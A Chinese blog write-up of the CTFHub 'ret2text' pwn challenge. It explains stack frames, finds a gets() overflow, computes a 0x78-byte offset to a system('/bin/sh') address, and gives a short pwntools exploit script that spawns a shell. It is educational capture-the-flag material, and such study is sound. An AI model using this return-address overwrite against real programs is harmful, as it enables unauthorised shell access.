当前位置: 首页 > news >正文

ret2text-CTFHub技能树

跳过保护调查和逆向过程。

​ ————前置知识————

EBP:基址指针寄存器,指向栈底。32位环境:EBP;64位环境:RBP

栈顶:SP。

栈帧:程序运行时在栈上分配的一块内存区域。包含了函数调用时的各种状态信息。

栈帧的结构通常包括以下几个部分:

局部变量区:存放函数内部定义的局部变量。
参数区:存放函数调用时传递的参数值。
返回地址:存放函数执行完毕后,程序需要返回到的地址。
寄存器保存区:存放函数执行过程中需要暂时保存的寄存器值。

汇编语言的lea指令:用于加载有效指令到寄存器,类似于c语言中的**&**符号,可以获取数据的地址而不是数据本身。

; 将地址表达式的值放入EAX寄存器
lea eax, [addr]; 将EBX寄存器的值赋给EAX
lea eax, dword ptr [ebx]; 将变量c的地址赋给EAX
lea eax, c

和MOV的区别:MOV是对值操作,而lea对地址操作

在这里插入图片描述

发现main函数中存在无限制的gets函数,存在栈溢出。

猜测main函数的栈帧结构:

局部变量s,用户由gets()输入,只要达到特定长度,就可以覆盖掉栈帧中的返回地址。

接下来发现secure函数
在这里插入图片描述

由于函数中调用了system ("/bin/sh") 猜测获取flag是通过执行system得到shell,然后再执行命令。

我们覆盖掉栈帧的返回地址之后,让返回地址指向system ("/bin/sh")所在语句对应的内存地址就能获得shell

故我们有两个关键值需要获得:

1.特定长度L,覆盖掉EBP

2.system ("/bin/sh")所在语句对应的内存地址

在这里插入图片描述

在main函数的汇编语言界面,由 sub rsp,70h(h:十六进制) 且在64位系统中,故要覆盖掉ebp,就要再加8字节。L=0x70+8=0x78

在这里插入图片描述

接下来看secure函数的汇编语言界面,看注释得到地址为0x4007b8

得到这两个变量之后,开始着手编写exp脚本

from pwn import *
host = ''
port =
p=connect(host,port)
payload=b'A'*0x78+p64(0x4007b8)//在pwn中,recv和send、sendline都是使用的byte型 b:告诉python这个字符串是以字节序列的形式表示的,而不是普通字符串。 p64:用于将整数打包成64位的字节序列。
p.sendline(payload)
p.interactive()

之后ls,cat得到flag

http://www.dtcms.com/a/392265.html

相关文章:

  • VirtualBox 7 虚拟机的硬盘如何扩大?
  • React新闻发布系统 权限列表开发
  • 23种设计模式之【策略模式】-核心原理与 Java 实践
  • 前端实战从零构建响应式井字棋游戏
  • Java中的equals()与hashCode()
  • 【绕过open_basedir】
  • 如何用户细分
  • 福彩双色球第2025109期篮球号码分析
  • 思考:客户端负载均衡和服务器负载均衡有什么区别?
  • 网络编程day04/05原始套接字
  • Yarn命令与npm命令的区别与联系(npm:Node.js的官方包管理工具;Yarn:Facebook开发的JavaScript包管理工具)
  • 【大语言模型 67】梯度压缩与稀疏通信
  • LeetCode第365题_水壶问题
  • OpenCV:DNN 模块实现图像风格迁移
  • 锤子助手插件功能六十四:禁用视频前置摄像头镜像
  • OpenHarmony NFC Tag驱动深度剖析:从HDF框架到NDEF读写全流程实战
  • 黑马头条_SpringCloud项目阶段四:多媒体短文章提交功能实现详解
  • TraceID串联数据孤岛:勤源全链路可观测性平台破解微服务“黑箱困境”
  • 随机梯度下降(SGD)算法及其在机器学习中的应用
  • 趣谈bug - the Norway problem
  • $attrs 和 $listeners 的使用场景和用法是什么?
  • [Linux]学习笔记系列 -- lib/radix-tree.c 基数树(Radix Tree) 整数键到指针的高效映射
  • Scikit-learn Python机器学习 - 回归分析算法 - 线性回归 (LinearRegression SGDRegressor)
  • ts的内置工具类型
  • 扫地车:守护多元场景的清洁 “多面手”
  • 力扣 136.只出现一次的数字
  • 【序列晋升】38 Spring Data MongoDB 的统一数据访问范式与实践
  • 如何将枯燥的大数据呈现为可视化的图和动画?
  • 前后端分离架构下,如何安全存储和使用 API 密钥?
  • Nano 编辑器快捷键